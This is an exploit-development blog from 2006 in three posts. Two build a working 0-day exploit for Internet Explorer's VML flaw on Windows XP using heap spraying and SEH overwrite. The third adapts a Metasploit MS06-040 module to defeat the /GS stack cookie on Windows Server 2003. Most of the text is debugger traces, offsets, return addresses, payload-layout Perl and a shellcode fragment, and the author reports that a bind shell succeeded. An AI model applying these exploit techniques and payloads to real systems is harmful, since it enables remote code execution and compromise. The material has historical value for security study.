Software Vulnerability Exploitation Blog

Sunday, September 24, 2006

Heap Spraying: Exploiting Internet Explorer VML 0-day XP SP2

Credits: Niega

At the first time, I decide the release the article at Oct 10. But there is someone already publish the exploit, so there is no means to still keep it private.

Last article, I had described that my method can't be used to exploit XP SP2. But things change because Niega give me some information that he could produce some error that different from the old one.

This exception may be expected and handled.
eax=0013be58 ebx=001cc564 ecx=0013be4c edx=00000041 esi=000020d4 edi=00140000
eip=6f9eed1e esp=0013be34 ebp=0013c05c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program\Delade filer\Microsoft Shared\VGX\vgx.dll -
vgx!$DllMain$_gdiplus+0x30e8d:
6f9eed1e 668917 mov word ptr [edi],dx ds:0023:00140000=6341

IE crashes, but not with the security cookie checking failure. This is the interesting one, may be I can made the code execution from this (the reason why I'm give up to find the way to made the exploit work on XP SP2 because there is others can do it). Niega said that he produce the error by overwrite the stack massively. I reproduce the error by create the attack vector like this:

...
$page = $page . "\x41\x41\x41\x41" x 65535;
...

It gives the same result:

(538.590): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling
This exception may be expected and handled.eax=0013be5c ebx=03148f2c ecx=0013be50 edx=00004141 esi=000020d2 edi=00140000eip=5deded1e esp=0013be38 ebp=0013c060 iopl=0 nv up ei pl nz na po nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
vgx!_IE5_SHADETYPE_TEXT::TOKENS::Ptok+0x38:
5deded1e 668917 mov [edi],dx ds:0023:00140000=6341

I look into the error to find the point that can lead to the code execution, but not found the interesting one. However, when I close WinDBG and open it again, something that I’m looking for is happened:

(538.590): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0013bfe0 ebx=0447a034 ecx=0013bfd4 edx=00004141 esi=00002010 edi=00140000
eip=5deded1e esp=0013bfbc ebp=0013c1e4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
vgx!_IE5_SHADETYPE_TEXT::TOKENS::Ptok+0x38:
5deded1e 668917 mov [edi],dx ds:0023:00140000=6341
0:000> g
(538.590): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=7c9037d8 esi=00000000 edi=00000000
eip=41414141 esp=0013bbec ebp=0013bc0c iopl=0 nv up ei pl zr na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
41414141 ?? ???

Hey !!? eip jumps to address 0x41414141 - the value that we can control. Then I open my first version exploit, remove the heap spraying code section and modify the attack vector to this:

$page = $page . "\x0d\x0d\x0d\x0d" x 65535;

This is the result:

This exception may be expected and handled.
eax=0013bfe0 ebx=0334007c ecx=0013bfd4 edx=00000d0d esi=00002010 edi=00140000
eip=5deded1e esp=0013bfbc ebp=0013c1e4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
vgx!_IE5_SHADETYPE_TEXT::TOKENS::Ptok+0x38:
5deded1e 668917 mov [edi],dx ds:0023:00140000=6341
0:000> g
(bc.148): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=0d0d0d0d edx=7c9037d8 esi=00000000 edi=00000000
eip=0d0d0d0d esp=0013bbec ebp=0013bc0c iopl=0 nv up ei pl zr na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
0d0d0d0d ?? ???

(I have to close WinDBG and open it again everytime to produce this result, I don’t know why ? If you know, plz tell me, lol)

Now we can control eip completely on XP SP2. I just enable the heap spraying code section again and use IE browse the exploit page. I see that IE is not crashed and my machine has opened port 5555 - the exploit success ^-^. I test it again without the debugger and it’s also OK – the exploit work with a little modification !!! Thanks Niega :)

Now, I will investigate deeply why a little modification can give me a big result. At the point IE crashes, I execute a single instruction at time:

0:000> p
eax=0013bfe0 ebx=0335007c ecx=0013bcf0 edx=00000d0d esi=00002010 edi=00140000
eip=7c90eaf0 esp=0013bccc ebp=0013c1e4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
ntdll!KiUserExceptionDispatcher+0x4:
7c90eaf0 8b1c24 mov ebx,[esp] ss:0023:0013bccc=0013bcd4

7c90eaf5 e8c78c0200 call ntdll!RtlDispatchException (7c9377c1)
0:000> p
(9d8.5e0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=0d0d0d0d edx=7c9037d8 esi=00000000 edi=00000000
eip=0d0d0d0d esp=0013bbec ebp=0013bc0c iopl=0 nv up ei pl zr na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
0d0d0d0d ?? ???

IE calls ntdll!RtlDispatchException – 0x7c9377c1 – before it jump into 0x0d0d0d0d. This give me some clue that the massive bytes 0x0d will overwrite to some exception handler. I set breakpoint at 0x7c9377c1 to see more details:

Breakpoint 1 hit
eax=0013bfe0 ebx=0013bcd4 ecx=0013bcf0 edx=00000d0d esi=00002010 edi=00140000
eip=7c9377c1 esp=0013bcc0 ebp=0013c1e4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
ntdll!RtlDispatchException:
7c9377c1 8bff mov edi,edi
0:000> p
...
ntdll!RtlDispatchException+0xac:
7c93785b e8f3befcff call ntdll!RtlpExecuteHandlerForException (7c903753)
0:000> bp 7c903753
0:000> p
Breakpoint 2 hit
eax=0013bca8 ebx=0013eae8 ecx=0000c460 edx=7c90eb94 esi=0013bcd4 edi=00140000
eip=7c903753 esp=0013bc34 ebp=0013bcbc iopl=0 nv up ei pl zr na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!RtlpExecuteHandlerForException:
7c903753 bad837907c mov edx,0x7c9037d8

Now it call ntdll!RtlpExecuteHandlerForException.

0:000> p
eax=0013bca8 ebx=0013eae8 ecx=0000c460 edx=7c9037d8 esi=0013bcd4 edi=00140000
eip=7c903758 esp=0013bc34 ebp=0013bcbc iopl=0 nv up ei pl zr na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!RtlpExecuteHandlerForException+0x5:
7c903758 eb0d jmp ntdll!ExecuteHandler (7c903767)
...
ntdll!ExecuteHandler+0x1f:
7c903786 e80e000000 call ntdll!ExecuteHandler2 (7c903799)
0:000> bp 7c903799
0:000> p
Breakpoint 3 hit
eax=00000000 ebx=00000000 ecx=0000c460 edx=7c9037d8 esi=00000000 edi=00000000
eip=7c903799 esp=0013bc10 ebp=0013bcbc iopl=0 nv up ei pl zr na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2:
7c903799 55 push ebp

Then call ntdll!ExecuteHandler2.

...
eax=00000000 ebx=00000000 ecx=0000c460 edx=7c9037d8 esi=00000000 edi=00000000
eip=7c9037ba esp=0013bbf0 ebp=0013bc0c iopl=0 nv up ei pl zr na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2+0x21:
7c9037ba 8b4d18 mov ecx,[ebp+0x18] ss:0023:0013bc24=0d0d0d0d
0:000> p
eax=00000000 ebx=00000000 ecx=0d0d0d0d edx=7c9037d8 esi=00000000 edi=00000000
eip=7c9037bd esp=0013bbf0 ebp=0013bc0c iopl=0 nv up ei pl zr na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2+0x24:
7c9037bd ffd1 call ecx {0d0d0d0d}

As you can see, ecx is set to 0x0d0d0d0d at instruction address 0x7c9037ba. Then, the instruction "call ecx" is executed so the flow of execution will jump to 0x0d0d0d0d.

Thursday, September 21, 2006

Heap Spraying: Exploiting Internet Explorer VML 0-day

[UPDATE: Sep 24th, 2006] Finally, got the code execution on XP SP2. However, because of the serious damage, I will not publish things about this until M$ release the patch. Sorry for inconvenient

At the time I write this article, This exploit is still 0-day, there is no patch. I decide to write this exploit because I just wanna to know that which platform is exploitable. Xsec’s exploit show that W2k platform is exploitable, so I decide to work with XP platform.

I use Shirkdog’s PoC as the starting point to see how IE crash. This is the result:

(6ec.6f0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00310030 ebx=ffffff88 ecx=0013bec4 edx=001832cc esi=00000000 edi=00000000
eip=5acc2794 esp=0013bec0 ebp=0013c0d4 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010293
vgx!_IE5_SHADETYPE_TEXT::Text+0x81:
5acc2794 8938 mov dword ptr [eax],edi ds:0023:00310030=00000000

The access violation occurs at 0x5acc2794 because of writing to the address that eax point to – 0x00310030. I look at the code and found that it is at last 2nd byte at the “method”:


v:fill method=”AAAAAAAAAAAAA…BCD01” …


The byte 0x31 is 1 and 0x30 is 0. I confirm this by change the “method” to be like this:


v:fill method=”AAAAAAAAAAAAA…BCDFF” …

This is the result:

vgx!_IE5_SHADETYPE_TEXT::Text+0x81:
5acc2794 8938 mov dword ptr [eax],edi ds:0023:00460046=????????

As you can see, we can control eax partially. There is the byte 0x00 between each character. I recognize this quickly - if I wanna to control eax completely, I have to create HTML file in unicode file format (If you wanna to know why I recoginize it quickly, you can read this post Heap Spraying: Internet Exploiter. I had been got stuck about this 2 hours, lol).

I create a simple perl script to generate the HTML file in unicode format. This is a part of code that trigger the access violation:

...
$page = $page . "\x41\x00" x 256 . "\xaa\xaa\xaa\xaa";
...

Then I use IE browse the page generated by this script:

eax=aaaaaaaa ebx=ffffff88 ecx=0013c034 edx=001efffc esi=00000000 edi=00000000
eip=5acc2794 esp=0013c030 ebp=0013c244 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010293
vgx!_IE5_SHADETYPE_TEXT::Text+0x81:
5acc2794 8938 mov dword ptr [eax],edi ds:0023:aaaaaaaa=????????

Yez, I can control eax completely. But the next problem is what’s the value of eax that I should set ? It has to be the writable memory. Because I have not much time to find the good one, I decide to write it to 0x77fc3210Pointer to First Vectored Handler in XP. This is the result:

Breakpoint 0 hit
eax=77fc3210 ebx=ffffff88 ecx=0013c034 edx=001f5ec4 esi=00000000 edi=00000000
eip=5acc2794 esp=0013c030 ebp=0013c244 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010293
vgx!_IE5_SHADETYPE_TEXT::Text+0x81:
5acc2794 8938 mov dword ptr [eax],edi ds:0023:77fc3210=00000000
0:000> u
vgx!_IE5_SHADETYPE_TEXT::Text+0x81:
5acc2794 8938 mov dword ptr [eax],edi
5acc2796 b001 mov al,1
5acc2798 5f pop edi
5acc2799 eb02 jmp vgx!_IE5_SHADETYPE_TEXT::Text+0x8a (5acc279d)
5acc279b 32c0 xor al,al
5acc279d c9 leave
5acc279e c20800 ret 8
vgx!_IE5_SHADETYPE_TEXT::Save:
5acc27a1 55 push ebp
0:000> p
eax=77fc3210 ebx=ffffff88 ecx=0013c034 edx=001f5ec4 esi=00000000 edi=00000000
eip=5acc2796 esp=0013c030 ebp=0013c244 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000293
vgx!_IE5_SHADETYPE_TEXT::Text+0x83:
5acc2796 b001 mov al,1

The access violation doesn’t occur at 0x5acc2749. This means that 0x77fc3210 is writable. I continue run WinDBG:

eax=00000000 ebx=ffffff88 ecx=0013c034 edx=001f5ec4 esi=00039a28 edi=001f5ec4
eip=00000000 esp=00130008 ebp=00000000 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000293
00000000 ?? ???

The access violation occurs again, but eip points to 0x00000000 in this time. To see more details, I modify my perl script:


$page = $page . "\x41\x00" x 256 . "\x10\x32\xfc\x77” . “\xaa\xaa\xaa\xaa” x 64;


This is the result when I browse the page with IE:

eax=77fc3201 ebx=ffffff88 ecx=0013c034 edx=001efdb4 esi=00000000 edi=001efdb4
eip=aaaaaaaa esp=0013c254 ebp=aaaaaaaa iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010293
aaaaaaaa ??

We can control eip completely !!! This is a simple stack-based buffer overflow vulnerability - easy to exploit :). After I have found that the offset that overwrite eip is the 2nd of 4 bytes “\xaa\xaa\xaa\xaa”, I plan to layout the exploit code like this:


$page = $page . "\x41\x00" x 256 .
"\x10\x32\xfc\x77” . # writable memory
"\x44\x44\x44\x44". # padding
“\xaa\xaa\xaa\xaa” . # return address

“\x90\x90\x90\x90” x 16 . # padding
“\xcc\xcc\xcc\xcc”; # shellcode "break instruction"


I intend to set the return address to 0xaaaaaaaa to locate our shellcode when IE crash:

eax=77fc3201 ebx=ffffff88 ecx=0013c034 edx=001f3ec4 esi=00000000 edi=001f3ec4
eip=aaaaaaaa esp=0013c254 ebp=44444444 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010293
aaaaaaaa ?? ???
0:000> dd esp
0013c254 90909090 90909090 90909090 90909090
0013c264 90909090 90909090 90909090 90909090
0013c274 90909090 90909090 90909090 90909090
0013c284 90909090 90909090 cccccccc 00000000

Wow, our shellcode is in stack. Just change 0xaaaaaaaa to the address of instruction “jmp esp”, our shellcode will be executed. I use Metasploit’s Opcode Database to find such a address – 0x71ab7bfb (XP SP0 + SP1, ws2_32.dll). I change 0xaaaaaaaa to 0x71ab7bfb and use IE browse the page:

(144.56c): Break instruction exception - code 80000003 (first chance)
eax=77fc3201 ebx=ffffff88 ecx=0013c034 edx=001f6ec4 esi=00000000 edi=001f6ec4
eip=0013c28c esp=0013c254 ebp=44444444 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010293
0013c28c cc int 3
0:000> u eip - 0x4
0013c288 90 nop
0013c289 90 nop
0013c28a 90 nop
0013c28b 90 nop
0013c28c cc int 3
0013c28d cc int 3
0013c28e cc int 3
0013c28f cc int 3

Ha ha, our shellcode is executed. The last part of this is just change the shellcode “break instruction” to the real shellcode – port 5555 binding (Metasploit) shellcode in this case – and test it (don’t forget that the length of shellcode must be even numbers because our file format is unicode 16). But the problem still exists – shellcode doesn’t run correctly. I look at the point that my shellcode crash:

(5fc.1b0): Illegal instruction - code c000001d (first chance)
(5fc.1b0): Illegal instruction - code c000001d (!!! second chance !!!)
eax=77fc331d ebx=fffffe88 ecx=0013c033 edx=002236a4 esi=00000000 edi=002236a4
eip=005f0029 esp=0013c24c ebp=44444443 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000293
005f0029 ff ???
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
0013c248 0013c276 ffffffeb 90909090 90909090 0x5f0029
...
0:000> dd 0013c276 - 0x12
0013c264 90909090 90909090 eb6afc90 fff9e84d
0013c274 8b60003f 8b24246c 7c8b3c45 ef017805
....
0:000> u 0013c276 - 0x12
0013c264 90 nop
0013c265 90 nop
0013c266 90 nop
0013c267 90 nop
0013c268 90 nop
0013c269 90 nop
0013c26a 90 nop
0013c26b 90 nop
0:000> u
0013c26c 90 nop
0013c26d fc cld
0013c26e 6aeb push 0FFFFFFEBh
0013c270 4d dec ebp
0013c271 e8f9ff3f00 call 0053c26f
0013c276 60 pushad
0013c277 8b6c2424 mov ebp,dword ptr [esp+24h]

Illegal instruction ? This is the shellcode:

...
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45".
...

Our bytes in shellcode has been changed, from 0xffff to 0x3f00. How could this happen ? I put “\xff\xff\xff\xff” as the shellcode and test again:

eax=77fc300b ebx=ffffff88 ecx=0013c034 edx=001e76c4 esi=00000000 edi=001e76c4
eip=0013c271 esp=0013c254 ebp=44444444 iopl=0 ov up ei ng nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010a96
0013c271 004b05 add byte ptr [ebx+5],cl ds:0023:ffffff8d=??
0:000> dd eip - 0x12
0013c25f 90909090 90909090 90909090 3f003f90
0013c26f 4b000000 00800005 00800000 00000000
...

I get the same result. The bytes 0xffff is converted to 0x3f00 automatically. I can’t use the shellcode that contains bytes 0xffff. This is not flexible, so I have to find the other way to inject my shellcode into memory.

Then the heap spraying technique comes into my mind. I browses the exploit that use SkyLined’s heap spraying techqniue (the concept of this technique is that you inject the nop + shellcode into the heap memory and use some method to trick the eip jump into that heap – for more detail plz see Heap Spraying: Introduction) and I've found that the shellcode in these exploits can contain the bytes 0xffff. Then, I add the javascript code that inject our heap into the memory and test it to ensure that the heaps contain our shellcode.

0:000> dd 0d0d0000
0d0d0000 90909090 90909090 90909090 90909090
0d0d0010 90909090 90909090 90909090 90909090
...
0:000> dd 0d0d0d00
0d0d0d00 00000090 90909000 90909090 90909090
0d0d0d10 90909090 90909090 90909090 90909090
...
0:000> dd 0d0d0d0d
0d0d0d0d 90909090 90909090 90909090 90909090
0d0d0d1d 90909090 90909090 90909090 90909090
...

Then I modify the attack vector:


$page = $page . “\x41\x00” x 256 . # padding
“\x01\x0d\x0d\x0d” # writable memory
“\x44\x44\x44\x44” # padding
“\x0d\x0d\x0d\x0d” # return address


Because I inject the heaps until the address 0x0d0dxxxx become valid, so I can do anything with these address. First of all, I change the writeable address memory from 0x77fc3210 to 0x0d0d0d01 becauses the first one doesn’t work in W2K system. Writing to the address 0x0d0d0d01 is also possible because it is writable memory. For eip, I tell it jump into 0x0d0d0d0d – our shellcode. I test it and there is no problem ^-^. This 0-day is really fun to implement.

P.S. I also test the exploit with W2K and it still work without to change the return address :)

P.S. For XP SP2 (the most wanted, lol), the problem is that it has stack protection mechanism. The situation that can break the stack protection – we can write to any memory location that we want with our value - doesn’t occur even though this occurs in SP1, unlucky. However I've seen the movie that show the exploitation on XP SP2, this means that there is someway to exploit it but not with the method I use.

Wednesday, September 13, 2006

When Kernel Crash : MS06-040 Windows Server 2003 SP0 Target

As I promise, now I will detail about how to develop exploit MS06-040 that attack against Windows Server 2003 SP0, especially how to break the stack-based buffer overflow protection mechanism in Windows Server 2003 SP0.

First of all, I use the metasploit module, netapi_ms06_040.pm, as a template to study how the system process crash. I use the target number 2 “(wcscpy) Windows XP SP0/SP1” and modify the code like this:

[ ‘(wcscpy) Windows XP SP0/SP1’, 612, 0x00020804 ],

change to

[ ‘(wcscpy) Windows XP SP0/SP1’, 612, 0xaaaaaaaa ],


add this code:

$shellcode = “\x42” x length($shellcode);

above the code line:

my $path


replace the code:

Pex::Text::AlphaNumText(number)

with

(“\x41” x number)

The reason why I have to do this change is I have to know which parts of payload overwrite which registers and how the stack look likes. I run this exploit attack against the machine, and windbg show the result like this:

kd> .exr 00E0F1F8
ExceptionAddress: 77bd4d33 (msvcrt!wcscpy+0x0000000b)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 41414141
Attempt to write to address 41414141
kd> .cxr 00E0F214
eax=00e0d8d2 ebx=77bd4cfe ecx=41414141 edx=00e0f4f8 esi=00000000 edi=77bd4e32
eip=77bd4d33 esp=00e0f4e0 ebp=00e0f910 iopl=0 nv up ei ng nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000283
msvcrt!wcscpy+0xb:
001b:77bd4d33 668901 mov word ptr [ecx],ax ds:0023:41414141=????

The exception occurs at the address 0x77bd4d33 (wcscpy+0xb) – attemp to write to the address 0x41414141. I also view the stack:

kd> dd esp
00e0f4e0 71c44b7e 41414141 00e0f4f8 00000000
00e0f4f0 0016ded8 0011d878 0100d8d2 77da7417
00e0f500 42421000 42424242 42424242 42424242
00e0f510 42424242 42424242 42424242 42424242
00e0f520 42424242 42424242 42424242 42424242
00e0f530 42424242 42424242 42424242 42424242
00e0f540 42424242 42424242 42424242 42424242
00e0f550 42424242 42424242 42424242 42424242
kd> dd ebp
00e0f910 41414141 41414141 41414141 aaaaaaaa
00e0f920 41414141 41414141 aaaaaaaa 41414141
00e0f930 41414141 41414141 41414141 41414141
00e0f940 41414141 41414141 41414141 00000000
00e0f950 0011d87c 00000000 00e0f988 77c52360
00e0f960 0011d590 0011d5a0 0016ded8 00000061
00e0f970 0011d878 0011d87c 00000000 02020202
00e0f980 00000007 000efc9c 00e0fd64 77ce51d0
kd> kb
ChildEBP RetAddr Args to Child
00e0f4dc 71c44b7e 41414141 00e0f4f8 00000000 msvcrt!wcscpy+0xb
00e0f958 77c52360 0011d590 0011d5a0 0016ded8 NETAPI32!CanonicalizePathName+0x12c

Now the address 0x41414141 is overwritten instead of 0xaaaaaaaa. I found that the offset of the position that can control ecx is at 46th bytes from the last of variable $path.

At this time I can control ecx, I change value 0xaaaaaaaa back to 0x02040801 (near the location 0x02080400) and rerun the exploit

kd> r
eax=00e84242 ebx=77bd4cfe ecx=02080401 edx=00e8f4f8 esi=00000000 edi=77bd4e32
eip=77bd4d33 esp=00e8f4e0 ebp=00e8f910 iopl=0 nv up ei ng nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000287
001b:77bd4d33 668901 mov word ptr [ecx],ax ds:0023:02080401=????
kd> u
001b:77bd4d33 668901 mov word ptr [ecx],ax
001b:77bd4d36 41 inc ecx
001b:77bd4d37 41 inc ecx
001b:77bd4d38 42 inc edx
001b:77bd4d39 42 inc edx
001b:77bd4d3a 6685c0 test ax,ax
001b:77bd4d3d 75f1 jne 77bd4d30
001b:77bd4d3f 8b442404 mov eax,dword ptr [esp+4]
kd> p
ntdll!KiUserExceptionDispatcher+0x4:
001b:77f4526b 8b1c24 mov ebx,dword ptr [esp]

After the instruction at the address 0x77bd4dee “mov word ptr [ecx], ax”, the function KiUserExceptionDispatcher() is called instead of the instruction at address 0x77bd4d36 “inc ecx”. This means that the address 0x02080401 is not writeable.

This is the new problem when developing this exploit. 0x02080401 is not writeable no more. There is any location that I can overwrite and it has to be reliable. One of the best choice is heap memory. I decide to use the memory address 0x01590101 as the memory to be overwritten.

kd> bl
0 e 77bd4d33 0001 (0001) "j @ecx = 01590101 '';'gc'"

kd> g
001b:77bd4d33 668901 mov word ptr [ecx],ax
kd> r
eax=00e8d8eb ebx=77bd4cfe ecx=01590101 edx=00e8f4f8 esi=00000000 edi=77bd4e32
eip=77bd4d33 esp=00e8f4e0 ebp=00e8f910 iopl=0 nv up ei ng nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000287
001b:77bd4d33 668901 mov word ptr [ecx],ax ds:0023:01590101=0000
kd> u
001b:77bd4d33 668901 mov word ptr [ecx],ax
001b:77bd4d36 41 inc ecx
001b:77bd4d37 41 inc ecx
001b:77bd4d38 42 inc edx
001b:77bd4d39 42 inc edx
001b:77bd4d3a 6685c0 test ax,ax
001b:77bd4d3d 75f1 jne 77bd4d30
001b:77bd4d3f 8b442404 mov eax,dword ptr [esp+4]
kd> p
001b:77bd4d36 41 inc ecx

Yeah, 0x01590101 is writeable memory. Everything seems OK, it return from msvcrt!wcscpy() to NETAPI32!CanonicalizePathName().

msvcrt!wcscpy+0x1b:
001b:77bd4d43 c3 ret
kd> p
NETAPI32!CanonicalizePathName+0x12c:
001b:71c44b7e 59 pop ecx
kd> u
NETAPI32!CanonicalizePathName+0x12c:
001b:71c44b7e 59 pop ecx
001b:71c44b7f 59 pop ecx
001b:71c44b80 33c0 xor eax,eax
001b:71c44b82 8b4dfc mov ecx,dword ptr [ebp-4]
001b:71c44b85 5f pop edi
001b:71c44b86 5e pop esi
001b:71c44b87 5b pop ebx
001b:71c44b88 e869c9ffff call NETAPI32!__security_check_cookie (71c414f6)
001b:71c44b8d c9 leave
001b:71c44b8e c21400 ret 14h

Set of instructions are executed like I describe in the previous post, except this line:

NETAPI32!CanonicalizePathName+0x136:
001b:71c44b88 e869c9ffff call NETAPI32!__security_check_cookie (71c414f6)

When this function is called, everything is disappear. The instruction “leave” at the address 0x71c44b8d is not called. As its name imply, this is the stack-based buffer overflow protection is Windows Server 2003 SP0. The function looks like this:

kd> u 71c414f6
NETAPI32!__security_check_cookie:
71c414f6 3b0decc1c871 cmp ecx,dword ptr [NETAPI32!__security_cookie (71c8c1ec)]
71c414fc 0f8593060100 jne NETAPI32!__security_check_cookie+0x9 (71c51b95)
71c41502 c3 ret

This function will compare ecx value with the value that stored at 0x71c8c1ec – random cookie. The ecx value comes from the instruction at address 0x71c44b82 “mov ecx, dword ptr [ebp-4]” – the cookie that stored on the stack to cross check with the valid one. If ecx value match the valid cookie, the flow of execution will continue, if not it will jump to the address 0x71c51b95:

NETAPI32!__security_check_cookie+0x9:
71c51b95 e97d4e0000 jmp NETAPI32!__report_gsfailure (71c56a17)

it jumps to function NETAPI32!__report_gsfailure(). End up this !!!

Now, I’m faced with /GS --“. At first time I think may be I should give up at this point because there is no one can break /GS, except one that described by David Litchfield - http://www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf. Litchfield’s technique use SEH to bypass the protection. But as I know, (may be) there is no part of our payload overwrite the handler so this technique cannot be used.

But something comes into my mind. At this point I have the following condition that true:

  • I can write to any memory location that I want – Sure, it has to be writable memory location (1)
  • I can modified the ecx value – cookie stored on stack (2)

Then I think if I can control both cookies on stacked and the valid cookie, I can pass the security cookie check function and execute “leave” and “ret” instruction. To control both cookies, these conditions have to be true:

  • I can write to the address that store the valid cookie. This address has to be writeable and is a fixed address – for a reliable exploit (3)
  • I can control ecx value (4)

Because the condition (2) is true, the condition (4) is also true because they are equivalent. For the condition (3), it will be true if the address that store the valid cookie, 0x71c8c1ec, is writable and is a fixed location.

After debug several times I found that this address is a fixed address inside NETAPI32 dll. Wow !!! my theory will become true if this address is writable. I haven’t tested but I quite sure that this memory location is writable because the cookie is generated at runtime and the process must have the write permission on it. If the process there is no write permissions, the valid cookie cannot be saved.

Now before we continue, I’ve rewrite the $path to make it more readable:


$shellcode = “\xcc” x length($shellcode)

my $path = $shellcode.

(“\x41” x ($target->[1] – length($shellcode))).
(“\x49” x 52).

(“\xec\xc1\xc8”\x71”).
(“\x43” x 40).
(“\x00\x00”);

and then rerun the exploit:

kd> bp 77bd4d33 "j @ecx = 71c8c1ec '';'gc'"
kd> g
001b:77bd4d33 668901 mov word ptr [ecx],ax
kd> r
eax=00e84242 ebx=77bd4cfe ecx=71c8c1ec edx=00e8f4f8 esi=00000000 edi=77bd4e32
eip=77bd4d33 esp=00e8f4e0 ebp=00e8f910 iopl=0 nv up ei ng nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000283
001b:77bd4d33 668901 mov word ptr [ecx],ax ds:0023:71c8c1ec=e64e
kd> p
001b:77bd4d36 41 inc ecx
kd> dd 71c8c1ec
71c8c1ec bb404242 00000000 00000000 00000000
71c8c1fc 00000000 000926e0 ffffffff 00000000
71c8c20c 00000000 00000000 00000000 71c8c218
71c8c21c 71c8c218 00000000 00000000 00000000
71c8c22c 00000000 00000000 00000000 00000000
71c8c23c 00000007 00000001 00000000 00000000
71c8c24c 00000000 00000000 00000000 00000000
71c8c25c 00000000 00092780 ffffffff 00000000

there is no error occur and the first 2 bytes of 0x71c8c1ec is overwrite to 0x4242 value. I let windbg run until it write all of the shellcode into 0x71c8c1ec – to see whether or not it allow to overwite memory location outside 0x71c8c1ec. I view the memory location:

kd> dd 71c8c1ec
71c8c1ec 42424242 42424242 42424242 42424242
71c8c1fc 42424242 42424242 42424242 42424242
71c8c20c 42424242 42424242 42424242 42424242
71c8c21c 42424242 42424242 42424242 42424242
71c8c22c 42424242 42424242 42424242 42424242
71c8c23c 42424242 42424242 42424242 42424242
71c8c24c 42424242 42424242 42424242 42424242
71c8c25c 42424242 42424242 42424242 42424242

Yeah !!! we can write our shellcode into the address 0x71c8c1ec - we can control the valid cookie. I let windbg run until it reach at the instruction address 0x71c44b8 – call the security cookie checking function().

kd> r
eax=00000000 ebx=000e9a70 ecx=49494949 edx=00e0f94e esi=000e7bc0 edi=00000000
eip=71c44b88 esp=00e0f4f8 ebp=00e0f910 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246
001b:71c44b88 e869c9ffff call 71c414f6

Our ecx value is 0x49494949 before compare with the value at the address 0x71c8c1ec. It’s a simple work to find the offset of this – it’s the 66th bytes from that last of $path variable. I change these bytes to “\x42” and then run the exploit again:

kd> r
eax=00000000 ebx=00106bc0 ecx=42424242 edx=00e8f94e esi=000e3670 edi=00000000
eip=71c44b88 esp=00e8f4f8 ebp=00e8f910 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246
NETAPI32!CanonicalizePathName+0x136:
001b:71c44b88 e869c9ffff call NETAPI32!__security_check_cookie (71c414f6)
kd> dd 71c8c1ec
71c8c1ec 42424242 42424242 42424242 42424242
71c8c1fc 42424242 42424242 42424242 42424242
71c8c20c 42424242 42424242 42424242 42424242
